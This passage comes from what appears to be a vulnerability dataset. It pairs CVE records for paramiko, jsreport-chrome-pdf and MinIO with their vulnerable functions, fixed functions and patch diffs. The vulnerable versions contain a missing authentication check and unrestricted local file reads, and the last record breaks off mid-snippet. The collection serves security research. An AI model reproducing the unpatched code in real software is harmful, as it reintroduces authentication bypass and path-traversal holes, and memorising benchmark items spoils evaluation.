self._check_banner()\n                # The above is actually very much part of the handshake, but\n                # sometimes the banner can be read but the machine is not\n                # responding, for example when the remote ssh daemon is loaded\n                # in to memory but we can not read from the disk/spawn a new\n                # shell.\n                # Make sure we can specify a timeout for the initial handshake.\n                # Re-use the banner timeout for now.\n                self.packetizer.start_handshake(self.handshake_timeout)\n                self._send_kex_init()\n                self._expect_packet(MSG_KEXINIT)\n\n                while self.active:\n                    if self.packetizer.need_rekey() and not self.in_kex:\n                        self._send_kex_init()\n                    try:\n                        ptype, m = self.packetizer.read_message()\n                    except NeedRekeyException:\n                        continue\n                    if ptype == MSG_IGNORE:\n                        continue\n                    elif ptype == MSG_DISCONNECT:\n                        self._parse_disconnect(m)\n                        self.active = False\n                        self.packetizer.close()\n                        break\n                    elif ptype == MSG_DEBUG:\n                        self._parse_debug(m)\n                        continue\n                    if len(self._expected_packet) > 0:\n                        if ptype not in self._expected_packet:\n                            raise SSHException('Expecting packet from %r, got %d' % (self._expected_packet, ptype)) # noqa\n                        self._expected_packet = tuple()\n                        if (ptype >= 30) and (ptype <= 41):\n                            self.kex_engine.parse_next(ptype, m)\n                            continue\n\n                    if ptype in self._handler_table:\n                        self._handler_table[ptype](self, m)\n                    elif ptype in self._channel_handler_table:\n                        chanid = m.get_int()\n                        chan = self._channels.get(chanid)\n                        if chan is not None:\n                            self._channel_handler_table[ptype](chan, m)\n                        elif chanid in self.channels_seen:\n                            self._log(DEBUG, 'Ignoring message for dead channel %d' % chanid) # noqa\n                        else:\n                            self._log(ERROR, 'Channel request for unknown channel %d' % chanid) # noqa\n                            self.active = False\n                            self.packetizer.close()\n                    elif (\n                        self.auth_handler is not None and\n                        ptype in self.auth_handler._handler_table\n                    ):\n                        handler = self.auth_handler._handler_table[ptype]\n                        handler(self.auth_handler, m)\n                        if len(self._expected_packet) > 0:\n                            continue\n                    else:\n                        self._log(WARNING, 'Oops, unhandled type %d' % ptype)\n                        msg = Message()\n                        msg.add_byte(cMSG_UNIMPLEMENTED)\n                        msg.add_int(m.seqno)\n                        self._send_message(msg)\n                    self.packetizer.complete_handshake()\n            except SSHException as e:\n                self._log(ERROR, 'Exception: ' + str(e))\n                self._log(ERROR, util.tb_strings())\n                self.saved_exception = e\n            except EOFError as e:\n                self._log(DEBUG, 'EOF in transport thread')\n                self.saved_exception = e\n            except socket.error as e:\n                if type(e.args) is tuple:\n                    if e.args:\n                        emsg = '%s (%d)' % (e.args[1], e.args[0])\n                    else:  # empty tuple, e.g. socket.timeout\n                        emsg = str(e) or repr(e)\n                else:\n                    emsg = e.args\n                self._log(ERROR, 'Socket exception: ' + emsg)\n                self.saved_exception = e\n            except Exception as e:\n                self._log(ERROR, 'Unknown exception: ' + str(e))\n                self._log(ERROR, util.tb_strings())\n                self.saved_exception = e\n            _active_threads.remove(self)\n            for chan in list(self._channels.values()):\n                chan._unlink()\n            if self.active:\n                self.active = False\n                self.packetizer.close()\n                if self.completion_event is not None:\n                    self.completion_event.set()\n                if self.auth_handler is not None:\n                    self.auth_handler.abort()\n                for event in self.channel_events.values():\n                    event.set()\n                try:\n                    self.lock.acquire()\n                    self.server_accept_cv.notify()\n                finally:\n                    self.lock.release()\n            self.sock.close()\n        except:\n            # Don't raise spurious 'NoneType has no attribute X' errors when we\n            # wake up during interpreter shutdown. Or rather -- raise\n            # everything *if* sys.modules (used as a convenient sentinel)\n            # appears to still exist.\n            if self.sys.modules is not None:\n                raise"}], "fix_func": [{"id": "fix_py_169_2", "commit": "fa29bd8", "file_path": "paramiko/transport.py", "start_line": 1763, "end_line": 1799, "snippet": "    def _ensure_authed(self, ptype, message):\n        \"\"\"\n        Checks message type against current auth state.\n\n        If server mode, and auth has not succeeded, and the message is of a\n        post-auth type (channel open or global request) an appropriate error\n        response Message is crafted and returned to caller for sending.\n\n        Otherwise (client mode, authed, or pre-auth message) returns None.\n        \"\"\"\n        if (\n            not self.server_mode\n            or ptype <= HIGHEST_USERAUTH_MESSAGE_ID\n            or self.is_authenticated()\n        ):\n            return None\n        # WELP. We must be dealing with someone trying to do non-auth things\n        # without being authed. Tell them off, based on message class.\n        reply = Message()\n        # Global requests have no details, just failure.\n        if ptype == MSG_GLOBAL_REQUEST:\n            reply.add_byte(cMSG_REQUEST_FAILURE)\n        # Channel opens let us reject w/ a specific type + message.\n        elif ptype == MSG_CHANNEL_OPEN:\n            kind = message.get_text()\n            chanid = message.get_int()\n            reply.add_byte(cMSG_CHANNEL_OPEN_FAILURE)\n            reply.add_int(chanid)\n            reply.add_int(OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED)\n            reply.add_string('')\n            reply.add_string('en')\n        # NOTE: Post-open channel messages do not need checking; the above will\n        # reject attemps to open channels, meaning that even if a malicious\n        # user tries to send a MSG_CHANNEL_REQUEST, it will simply fall under\n        # the logic that handles unknown channel IDs (as the channel list will\n        # be empty.)\n        return reply"}, {"id": "fix_py_169_1", "commit": "fa29bd8", "file_path": "paramiko/transport.py", "start_line": 1801, "end_line": 1936, "snippet": "    def run(self):\n        # (use the exposed \"run\" method, because if we specify a thread target\n        # of a private method, threading.Thread will keep a reference to it\n        # indefinitely, creating a GC cycle and not letting Transport ever be\n        # GC'd. it's a bug in Thread.)\n\n        # Hold reference to 'sys' so we can test sys.modules to detect\n        # interpreter shutdown.\n        self.sys = sys\n\n        # active=True occurs before the thread is launched, to avoid a race\n        _active_threads.append(self)\n        tid = hex(long(id(self)) & xffffffff)\n        if self.server_mode:\n            self._log(DEBUG, 'starting thread (server mode): %s' % tid)\n        else:\n            self._log(DEBUG, 'starting thread (client mode): %s' % tid)\n        try:\n            try:\n                self.packetizer.write_all(b(self.local_version + '\\r\\n'))\n                self._log(DEBUG, 'Local version/idstring: %s' % self.local_version) # noqa\n                self._check_banner()\n                # The above is actually very much part of the handshake, but\n                # sometimes the banner can be read but the machine is not\n                # responding, for example when the remote ssh daemon is loaded\n                # in to memory but we can not read from the disk/spawn a new\n                # shell.\n                # Make sure we can specify a timeout for the initial handshake.\n                # Re-use the banner timeout for now.\n                self.packetizer.start_handshake(self.handshake_timeout)\n                self._send_kex_init()\n                self._expect_packet(MSG_KEXINIT)\n\n                while self.active:\n                    if self.packetizer.need_rekey() and not self.in_kex:\n                        self._send_kex_init()\n                    try:\n                        ptype, m = self.packetizer.read_message()\n                    except NeedRekeyException:\n                        continue\n                    if ptype == MSG_IGNORE:\n                        continue\n                    elif ptype == MSG_DISCONNECT:\n                        self._parse_disconnect(m)\n                        self.active = False\n                        self.packetizer.close()\n                        break\n                    elif ptype == MSG_DEBUG:\n                        self._parse_debug(m)\n                        continue\n                    if len(self._expected_packet) > 0:\n                        if ptype not in self._expected_packet:\n                            raise SSHException('Expecting packet from %r, got %d' % (self._expected_packet, ptype)) # noqa\n                        self._expected_packet = tuple()\n                        if (ptype >= 30) and (ptype <= 41):\n                            self.kex_engine.parse_next(ptype, m)\n                            continue\n\n                    if ptype in self._handler_table:\n                        error_msg = self._ensure_authed(ptype, m)\n                        if error_msg:\n                            self._send_message(error_msg)\n                        else:\n                            self._handler_table[ptype](self, m)\n                    elif ptype in self._channel_handler_table:\n                        chanid = m.get_int()\n                        chan = self._channels.get(chanid)\n                        if chan is not None:\n                            self._channel_handler_table[ptype](chan, m)\n                        elif chanid in self.channels_seen:\n                            self._log(DEBUG, 'Ignoring message for dead channel %d' % chanid) # noqa\n                        else:\n                            self._log(ERROR, 'Channel request for unknown channel %d' % chanid) # noqa\n                            self.active = False\n                            self.packetizer.close()\n                    elif (\n                        self.auth_handler is not None and\n                        ptype in self.auth_handler._handler_table\n                    ):\n                        handler = self.auth_handler._handler_table[ptype]\n                        handler(self.auth_handler, m)\n                        if len(self._expected_packet) > 0:\n                            continue\n                    else:\n                        self._log(WARNING, 'Oops, unhandled type %d' % ptype)\n                        msg = Message()\n                        msg.add_byte(cMSG_UNIMPLEMENTED)\n                        msg.add_int(m.seqno)\n                        self._send_message(msg)\n                    self.packetizer.complete_handshake()\n            except SSHException as e:\n                self._log(ERROR, 'Exception: ' + str(e))\n                self._log(ERROR, util.tb_strings())\n                self.saved_exception = e\n            except EOFError as e:\n                self._log(DEBUG, 'EOF in transport thread')\n                self.saved_exception = e\n            except socket.error as e:\n                if type(e.args) is tuple:\n                    if e.args:\n                        emsg = '%s (%d)' % (e.args[1], e.args[0])\n                    else:  # empty tuple, e.g. socket.timeout\n                        emsg = str(e) or repr(e)\n                else:\n                    emsg = e.args\n                self._log(ERROR, 'Socket exception: ' + emsg)\n                self.saved_exception = e\n            except Exception as e:\n                self._log(ERROR, 'Unknown exception: ' + str(e))\n                self._log(ERROR, util.tb_strings())\n                self.saved_exception = e\n            _active_threads.remove(self)\n            for chan in list(self._channels.values()):\n                chan._unlink()\n            if self.active:\n                self.active = False\n                self.packetizer.close()\n                if self.completion_event is not None:\n                    self.completion_event.set()\n                if self.auth_handler is not None:\n                    self.auth_handler.abort()\n                for event in self.channel_events.values():\n                    event.set()\n                try:\n                    self.lock.acquire()\n                    self.server_accept_cv.notify()\n                finally:\n                    self.lock.release()\n            self.sock.close()\n        except:\n            # Don't raise spurious 'NoneType has no attribute X' errors when we\n            # wake up during interpreter shutdown. Or rather -- raise\n            # everything *if* sys.modules (used as a convenient sentinel)\n            # appears to still exist.\n            if self.sys.modules is not None:\n                raise"}], "vul_patch": "--- a/paramiko/transport.py\n+++ b/paramiko/transport.py\n@@ -57,7 +57,11 @@\n                             continue\n \n                     if ptype in self._handler_table:\n-                        self._handler_table[ptype](self, m)\n+                        error_msg = self._ensure_authed(ptype, m)\n+                        if error_msg:\n+                            self._send_message(error_msg)\n+                        else:\n+                            self._handler_table[ptype](self, m)\n                     elif ptype in self._channel_handler_table:\n                         chanid = m.get_int()\n                         chan = self._channels.get(chanid)\n\n--- /dev/null\n+++ b/paramiko/transport.py\n@@ -0,0 +1,37 @@\n+    def _ensure_authed(self, ptype, message):\n+        \"\"\"\n+        Checks message type against current auth state.\n+\n+        If server mode, and auth has not succeeded, and the message is of a\n+        post-auth type (channel open or global request) an appropriate error\n+        response Message is crafted and returned to caller for sending.\n+\n+        Otherwise (client mode, authed, or pre-auth message) returns None.\n+        \"\"\"\n+        if (\n+            not self.server_mode\n+            or ptype <= HIGHEST_USERAUTH_MESSAGE_ID\n+            or self.is_authenticated()\n+        ):\n+            return None\n+        # WELP. We must be dealing with someone trying to do non-auth things\n+        # without being authed. Tell them off, based on message class.\n+        reply = Message()\n+        # Global requests have no details, just failure.\n+        if ptype == MSG_GLOBAL_REQUEST:\n+            reply.add_byte(cMSG_REQUEST_FAILURE)\n+        # Channel opens let us reject w/ a specific type + message.\n+        elif ptype == MSG_CHANNEL_OPEN:\n+            kind = message.get_text()\n+            chanid = message.get_int()\n+            reply.add_byte(cMSG_CHANNEL_OPEN_FAILURE)\n+            reply.add_int(chanid)\n+            reply.add_int(OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED)\n+            reply.add_string('')\n+            reply.add_string('en')\n+        # NOTE: Post-open channel messages do not need checking; the above will\n+        # reject attemps to open channels, meaning that even if a malicious\n+        # user tries to send a MSG_CHANNEL_REQUEST, it will simply fall under\n+        # the logic that handles unknown channel IDs (as the channel list will\n+        # be empty.)\n+        return reply\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7762", "cve_description": "This affects the package jsreport-chrome-pdf before 1.10.0.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/jsreport/jsreport-chrome-pdf", "patch_url": ["https://github.com/jsreport/jsreport-chrome-pdf/commit/6750b2f77d05cb843aefc1c4a98097a3bd33a6a2"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_89_1", "commit": "ba51764", "file_path": "lib/conversion.js", "start_line": "26", "end_line": "258", "snippet": "  const conversionResult = await runWithTimeout(async (executionInfo, reject) => {\n    const chromeVersion = await browser.version()\n\n    if (executionInfo.error) {\n      return\n    }\n\n    reporter.logger.debug(`Converting with chrome ${chromeVersion} using ${strategy} strategy`, req)\n\n    const page = await browser.newPage()\n\n    if (executionInfo.error) {\n      return\n    }\n\n    page.on('pageerror', (err) => {\n      pageLog('warn', `Page error: ${err.message}${err.stack ? ` , stack: ${err.stack}` : ''}`)\n    })\n\n    page.on('error', (err) => {\n      err.workerCrashed = true\n\n      if (!page.isClosed()) {\n        page.close().catch(() => {})\n      }\n\n      reject(err)\n    })\n\n    page.on('console', (m) => {\n      pageLog('debug', m.text())\n    })\n\n    page.on('request', (r) => {\n      let detail = ''\n\n      if (r.redirectChain().length > 0) {\n        detail = ` (redirect from: ${trimUrl(r.redirectChain().slice(-1)[0].url())})`\n      }\n\n      pageLog('debug', `Page request: ${r.method()} (${r.resourceType()}) ${trimUrl(r.url())}${detail}`)\n    })\n\n    page.on('requestfinished', (r) => {\n      let requestDesc = 'finished'\n      let status = ''\n      let detail = ''\n\n      if (r.response() != null) {\n        if (r.response().status() !== 0) {\n          status = ` ${r.response().status()}`\n        }\n\n        if (!r.response().ok()) {\n          requestDesc = 'failed'\n        }\n      }\n\n      if (\n        r.redirectChain().length > 0 &&\n        r.redirectChain().slice(-1)[0].url() === r.url() &&\n        r.response() &&\n        r.response().headers() &&\n        r.response().headers().location != null\n      ) {\n        detail = ` (redirect to: ${r.response().headers().location})`\n      }\n\n      const log = `Page request ${requestDesc}: ${r.method()} (${r.resourceType()})${status} ${trimUrl(r.url())}${detail}`\n\n      if (requestDesc === 'failed') {\n        pageLog('warn', log)\n      } else {\n        pageLog('debug', log)\n      }\n    })\n\n    page.on('requestfailed', (r) => {\n      pageLog('warn', `Page request failed: ${r.method()} (${r.resourceType()}) ${trimUrl(r.url())}, failure: ${r.failure().errorText}`)\n    })\n\n    if (optionsToUse.waitForNetworkIddle === true) {\n      reporter.logger.debug('Chrome will wait for network iddle before printing', req)\n    }\n\n    // this is the same as sending timeout options to the page.goto\n    // but additionally setting it more generally in the page\n    page.setDefaultNavigationTimeout(timeout)\n\n    await page.goto(\n      htmlUrl,\n      optionsToUse.waitForNetworkIddle === true\n        ? { waitUntil: 'networkidle0' }\n        : { }\n    )\n\n    if (executionInfo.error) {\n      return\n    }\n\n    if (optionsToUse.waitForJS === true) {\n      reporter.logger.debug('Chrome will wait for printing trigger', req)\n      await page.waitForFunction('window.JSREPORT_READY_TO_START === true', { timeout })\n    }\n\n    if (executionInfo.error) {\n      return\n    }\n\n    let newChromeSettings\n\n    if (imageExecution) {\n      newChromeSettings = await page.evaluate(() => window.JSREPORT_CHROME_IMAGE_OPTIONS)\n    } else {\n      newChromeSettings = await page.evaluate(() => window.JSREPORT_CHROME_PDF_OPTIONS)\n    }\n\n    if (executionInfo.error) {\n      return\n    }\n\n    if (newChromeSettings != null) {\n      delete newChromeSettings.path\n    }\n\n    Object.assign(optionsToUse, newChromeSettings)\n\n    if (optionsToUse.mediaType) {\n      if (optionsToUse.mediaType !== 'screen' && optionsToUse.mediaType !== 'print') {\n        throw reporter.createError(`chrome.mediaType must be equal to 'screen' or 'print'`, { weak: true })\n      }\n\n      await page.emulateMedia(optionsToUse.mediaType)\n    }\n\n    if (executionInfo.error) {\n      return\n    }\n\n    if (imageExecution) {\n      if (optionsToUse.type == null) {\n        optionsToUse.type = 'png'\n      }\n\n      if (optionsToUse.type !== 'png' && optionsToUse.type !== 'jpeg') {\n        throw reporter.createError(`chromeImage.type must be equal to 'jpeg' or 'png'`, { weak: true })\n      }\n\n      if (optionsToUse.type === 'png') {\n        delete optionsToUse.quality\n      }\n\n      if (optionsToUse.quality == null) {\n        delete optionsToUse.quality\n      }\n\n      optionsToUse.clip = {}\n\n      if (optionsToUse.clipX != null) {\n        optionsToUse.clip.x = optionsToUse.clipX\n      }\n\n      if (optionsToUse.clipY != null) {\n        optionsToUse.clip.y = optionsToUse.clipY\n      }\n\n      if (optionsToUse.clipWidth != null) {\n        optionsToUse.clip.width = optionsToUse.clipWidth\n      }\n\n      if (optionsToUse.clipHeight != null) {\n        optionsToUse.clip.height = optionsToUse.clipHeight\n      }\n\n      if (Object.keys(optionsToUse.clip).length === 0) {\n        delete optionsToUse.clip\n      } else if (\n        optionsToUse.clip.x == null ||\n        optionsToUse.clip.y == null ||\n        optionsToUse.clip.width == null ||\n        optionsToUse.clip.height == null\n      ) {\n        throw reporter.createError(`All chromeImage clip properties needs to be specified when at least one of them is passed. Make sure to specify values for \"chromeImage.clipX\", \"chromeImage.clipY\", \"chromeImage.clipWidth\", \"chromeImage.clipHeight\"`, { weak: true })\n      }\n\n      optionsToUse.encoding = 'binary'\n    } else {\n      optionsToUse.margin = {\n        top: optionsToUse.marginTop,\n        right: optionsToUse.marginRight,\n        bottom: optionsToUse.marginBottom,\n        left: optionsToUse.marginLeft\n      }\n\n      // if no specified then default to print the background\n      if (optionsToUse.printBackground == null) {\n        optionsToUse.printBackground = true\n      }\n    }\n\n    // don't log header/footer template content\n    reporter.logger.debug(`Running chrome with params ${\n      JSON.stringify(Object.assign({}, optionsToUse, {\n        headerTemplate: optionsToUse.headerTemplate ? '...' : undefined,\n        footerTemplate: optionsToUse.footerTemplate ? '...' : undefined\n      }))\n    }`, req)\n\n    if (optionsToUse.scale == null) {\n      delete optionsToUse.scale\n    }\n\n    let result\n    let resultType\n\n    if (imageExecution) {\n      resultType = optionsToUse.type\n      result = await page.screenshot(optionsToUse)\n    } else {\n      resultType = 'pdf'\n      result = await page.pdf(optionsToUse)\n    }\n\n    if (executionInfo.error) {\n      return\n    }\n\n    return {\n      page,\n      type: resultType,\n      content: result\n    }\n  }, timeout, `${imageExecution ? 'image' : 'pdf'} generation not completed after ${timeout}ms`)"}], "fix_func": [{"id": "fix_js_89_1", "commit": "6750b2f", "file_path": "lib/conversion.js", "start_line": "26", "end_line": "277", "snippet": "  const conversionResult = await runWithTimeout(async (executionInfo, reject) => {\n    const chromeVersion = await browser.version()\n\n    if (executionInfo.error) {\n      return\n    }\n\n    reporter.logger.debug(`Converting with chrome ${chromeVersion} using ${strategy} strategy`, req)\n\n    const page = await browser.newPage()\n\n    if (executionInfo.error) {\n      return\n    }\n\n    await page.setRequestInterception(true)\n\n    if (executionInfo.error) {\n      return\n    }\n\n    page.on('pageerror', (err) => {\n      pageLog('warn', `Page error: ${err.message}${err.stack ? ` , stack: ${err.stack}` : ''}`)\n    })\n\n    page.on('error', (err) => {\n      err.workerCrashed = true\n\n      if (!page.isClosed()) {\n        page.close().catch(() => {})\n      }\n\n      reject(err)\n    })\n\n    page.on('console', (m) => {\n      pageLog('debug', m.text())\n    })\n\n    page.on('request', (r) => {\n      let detail = ''\n\n      if (r.redirectChain().length > 0) {\n        detail = ` (redirect from: ${trimUrl(r.redirectChain().slice(-1)[0].url())})`\n      }\n\n      pageLog('debug', `Page request: ${r.method()} (${r.resourceType()}) ${trimUrl(r.url())}${detail}`)\n\n      const isRelativeToHtmlUrl = r.url().lastIndexOf(htmlUrl, 0) === 0\n\n      if (\n        !isRelativeToHtmlUrl &&\n        // potentially dangerous request to local file\n        r.url().lastIndexOf('file:///', 0) === 0\n      ) {\n        r.abort('accessdenied')\n        return\n      }\n\n      r.continue()\n    })\n\n    page.on('requestfinished', (r) => {\n      let requestDesc = 'finished'\n      let status = ''\n      let detail = ''\n\n      if (r.response() != null) {\n        if (r.response().status() !== 0) {\n          status = ` ${r.response().status()}`\n        }\n\n        if (!r.response().ok()) {\n          requestDesc = 'failed'\n        }\n      }\n\n      if (\n        r.redirectChain().length > 0 &&\n        r.redirectChain().slice(-1)[0].url() === r.url() &&\n        r.response() &&\n        r.response().headers() &&\n        r.response().headers().location != null\n      ) {\n        detail = ` (redirect to: ${r.response().headers().location})`\n      }\n\n      const log = `Page request ${requestDesc}: ${r.method()} (${r.resourceType()})${status} ${trimUrl(r.url())}${detail}`\n\n      if (requestDesc === 'failed') {\n        pageLog('warn', log)\n      } else {\n        pageLog('debug', log)\n      }\n    })\n\n    page.on('requestfailed', (r) => {\n      pageLog('warn', `Page request failed: ${r.method()} (${r.resourceType()}) ${trimUrl(r.url())}, failure: ${r.failure().errorText}`)\n    })\n\n    if (optionsToUse.waitForNetworkIddle === true) {\n      reporter.logger.debug('Chrome will wait for network iddle before printing', req)\n    }\n\n    // this is the same as sending timeout options to the page.goto\n    // but additionally setting it more generally in the page\n    page.setDefaultNavigationTimeout(timeout)\n\n    await page.goto(\n      htmlUrl,\n      optionsToUse.waitForNetworkIddle === true\n        ? { waitUntil: 'networkidle0' }\n        : { }\n    )\n\n    if (executionInfo.error) {\n      return\n    }\n\n    if (optionsToUse.waitForJS === true) {\n      reporter.logger.debug('Chrome will wait for printing trigger', req)\n      await page.waitForFunction('window.JSREPORT_READY_TO_START === true', { timeout })\n    }\n\n    if (executionInfo.error) {\n      return\n    }\n\n    let newChromeSettings\n\n    if (imageExecution) {\n      newChromeSettings = await page.evaluate(() => window.JSREPORT_CHROME_IMAGE_OPTIONS)\n    } else {\n      newChromeSettings = await page.evaluate(() => window.JSREPORT_CHROME_PDF_OPTIONS)\n    }\n\n    if (executionInfo.error) {\n      return\n    }\n\n    if (newChromeSettings != null) {\n      delete newChromeSettings.path\n    }\n\n    Object.assign(optionsToUse, newChromeSettings)\n\n    if (optionsToUse.mediaType) {\n      if (optionsToUse.mediaType !== 'screen' && optionsToUse.mediaType !== 'print') {\n        throw reporter.createError(`chrome.mediaType must be equal to 'screen' or 'print'`, { weak: true })\n      }\n\n      await page.emulateMedia(optionsToUse.mediaType)\n    }\n\n    if (executionInfo.error) {\n      return\n    }\n\n    if (imageExecution) {\n      if (optionsToUse.type == null) {\n        optionsToUse.type = 'png'\n      }\n\n      if (optionsToUse.type !== 'png' && optionsToUse.type !== 'jpeg') {\n        throw reporter.createError(`chromeImage.type must be equal to 'jpeg' or 'png'`, { weak: true })\n      }\n\n      if (optionsToUse.type === 'png') {\n        delete optionsToUse.quality\n      }\n\n      if (optionsToUse.quality == null) {\n        delete optionsToUse.quality\n      }\n\n      optionsToUse.clip = {}\n\n      if (optionsToUse.clipX != null) {\n        optionsToUse.clip.x = optionsToUse.clipX\n      }\n\n      if (optionsToUse.clipY != null) {\n        optionsToUse.clip.y = optionsToUse.clipY\n      }\n\n      if (optionsToUse.clipWidth != null) {\n        optionsToUse.clip.width = optionsToUse.clipWidth\n      }\n\n      if (optionsToUse.clipHeight != null) {\n        optionsToUse.clip.height = optionsToUse.clipHeight\n      }\n\n      if (Object.keys(optionsToUse.clip).length === 0) {\n        delete optionsToUse.clip\n      } else if (\n        optionsToUse.clip.x == null ||\n        optionsToUse.clip.y == null ||\n        optionsToUse.clip.width == null ||\n        optionsToUse.clip.height == null\n      ) {\n        throw reporter.createError(`All chromeImage clip properties needs to be specified when at least one of them is passed. Make sure to specify values for \"chromeImage.clipX\", \"chromeImage.clipY\", \"chromeImage.clipWidth\", \"chromeImage.clipHeight\"`, { weak: true })\n      }\n\n      optionsToUse.encoding = 'binary'\n    } else {\n      optionsToUse.margin = {\n        top: optionsToUse.marginTop,\n        right: optionsToUse.marginRight,\n        bottom: optionsToUse.marginBottom,\n        left: optionsToUse.marginLeft\n      }\n\n      // if no specified then default to print the background\n      if (optionsToUse.printBackground == null) {\n        optionsToUse.printBackground = true\n      }\n    }\n\n    // don't log header/footer template content\n    reporter.logger.debug(`Running chrome with params ${\n      JSON.stringify(Object.assign({}, optionsToUse, {\n        headerTemplate: optionsToUse.headerTemplate ? '...' : undefined,\n        footerTemplate: optionsToUse.footerTemplate ? '...' : undefined\n      }))\n    }`, req)\n\n    if (optionsToUse.scale == null) {\n      delete optionsToUse.scale\n    }\n\n    let result\n    let resultType\n\n    if (imageExecution) {\n      resultType = optionsToUse.type\n      result = await page.screenshot(optionsToUse)\n    } else {\n      resultType = 'pdf'\n      result = await page.pdf(optionsToUse)\n    }\n\n    if (executionInfo.error) {\n      return\n    }\n\n    return {\n      page,\n      type: resultType,\n      content: result\n    }\n  }, timeout, `${imageExecution ? 'image' : 'pdf'} generation not completed after ${timeout}ms`)"}], "vul_patch": "--- a/lib/conversion.js\n+++ b/lib/conversion.js\n@@ -13,6 +13,12 @@\n       return\n     }\n \n+    await page.setRequestInterception(true)\n+\n+    if (executionInfo.error) {\n+      return\n+    }\n+\n     page.on('pageerror', (err) => {\n       pageLog('warn', `Page error: ${err.message}${err.stack ? ` , stack: ${err.stack}` : ''}`)\n     })\n@@ -39,6 +45,19 @@\n       }\n \n       pageLog('debug', `Page request: ${r.method()} (${r.resourceType()}) ${trimUrl(r.url())}${detail}`)\n+\n+      const isRelativeToHtmlUrl = r.url().lastIndexOf(htmlUrl, 0) === 0\n+\n+      if (\n+        !isRelativeToHtmlUrl &&\n+        // potentially dangerous request to local file\n+        r.url().lastIndexOf('file:///', 0) === 0\n+      ) {\n+        r.abort('accessdenied')\n+        return\n+      }\n+\n+      r.continue()\n     })\n \n     page.on('requestfinished', (r) => {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-35919", "cve_description": "MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. In affected versions all 'admin' users authorized for `admin:ServerUpdate` can selectively trigger an error that in response, returns the content of the path requested. Any normal OS system would allow access to contents at any arbitrary paths that are readable by MinIO process. Users are advised to upgrade. Users unable to upgrade may disable ServerUpdate API by denying the `admin:ServerUpdate` action for your admin users via IAM policies.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/minio/minio", "patch_url": ["https://github.com/minio/minio/commit/bc72e4226e669d98c8e0f3eccc9297be9251c692"], "programing_language": "Go", "vul_func": [{"id": "vul_go_113_1", "commit": "5e0776e", "file_path": "cmd/update.go", "start_line": 293, "end_line": 360, "snippet": "func downloadReleaseURL(u *url.URL, timeout time.Duration, mode string) (content string, err error) {\n\tvar reader io.ReadCloser\n\tif u.Scheme == \"https\" || u.Scheme == \"http\" {\n\t\treq, err := http.NewRequest(http.MethodGet, u.String(), nil)\n\t\tif err != nil {\n\t\t\treturn content, AdminError{\n\t\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\t\tMessage:    err.Error(),\n\t\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t\t}\n\t\t}\n\t\treq.Header.Set(\"User-Agent\", getUserAgent(mode))\n\n\t\tclient := &http.Client{Transport: getUpdateTransport(timeout)}\n\t\tresp, err := client.Do(req)\n\t\tif err != nil {\n\t\t\tif xnet.IsNetworkOrHostDown(err, false) {\n\t\t\t\treturn content, AdminError{\n\t\t\t\t\tCode:       AdminUpdateURLNotReachable,\n\t\t\t\t\tMessage:    err.Error(),\n\t\t\t\t\tStatusCode: http.StatusServiceUnavailable,\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn content, AdminError{\n\t\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\t\tMessage:    err.Error(),\n\t\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t\t}\n\t\t}\n\t\tif resp == nil {\n\t\t\treturn content, AdminError{\n\t\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\t\tMessage:    fmt.Sprintf(\"No response from server to download URL %s\", u),\n\t\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t\t}\n\t\t}\n\t\treader = resp.Body\n\t\tdefer xhttp.DrainBody(resp.Body)\n\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\treturn content, AdminError{\n\t\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\t\tMessage:    fmt.Sprintf(\"Error downloading URL %s. Response: %v\", u, resp.Status),\n\t\t\t\tStatusCode: resp.StatusCode,\n\t\t\t}\n\t\t}\n\t} else {\n\t\treader, err = os.Open(u.Path)\n\t\tif err != nil {\n\t\t\treturn content, AdminError{\n\t\t\t\tCode:       AdminUpdateURLNotReachable,\n\t\t\t\tMessage:    err.Error(),\n\t\t\t\tStatusCode: http.StatusServiceUnavailable,\n\t\t\t}\n\t\t}\n\t}\n\n\tcontentBytes, err := ioutil.ReadAll(reader)\n\tif err != nil {\n\t\treturn content, AdminError{\n\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\tMessage:    fmt.Sprintf(\"Error reading response. %s\", err),\n\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t}\n\t}\n\n\treturn string(contentBytes), nil\n}"}], "fix_func": [{"id": "fix_go_113_1", "commit": "bc72e42", "file_path": "cmd/update.go", "start_line": 293, "end_line": 347, "snippet": "func downloadReleaseURL(u *url.URL, timeout time.Duration, mode string) (content string, err error) {\n\treq, err := http.NewRequest(http.MethodGet, u.String(), nil)\n\tif err != nil {\n\t\treturn content, AdminError{\n\t\t\tCode:       AdminUpdateUnexpectedFailure,\n\t\t\tMessage:    err.Error(),\n\t\t\tStatusCode: http.StatusInternalServerError,\n\t\t}\n\t}\n\treq.Header.Set(\"User-Agent\", getUserAgent(mode))\n\n\tclient := &http.Client{Transport: getUpdateTransport(timeout)}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tif xnet.IsNetworkOrHostDown(err, false) {\n\t\t\treturn content, AdminError{\n\t\t\t\tCode:       AdminUpdateURLNotReachable,\n\t\t\t\tMessage:    err.Error(),\n\t\t\t\tStatusCode: 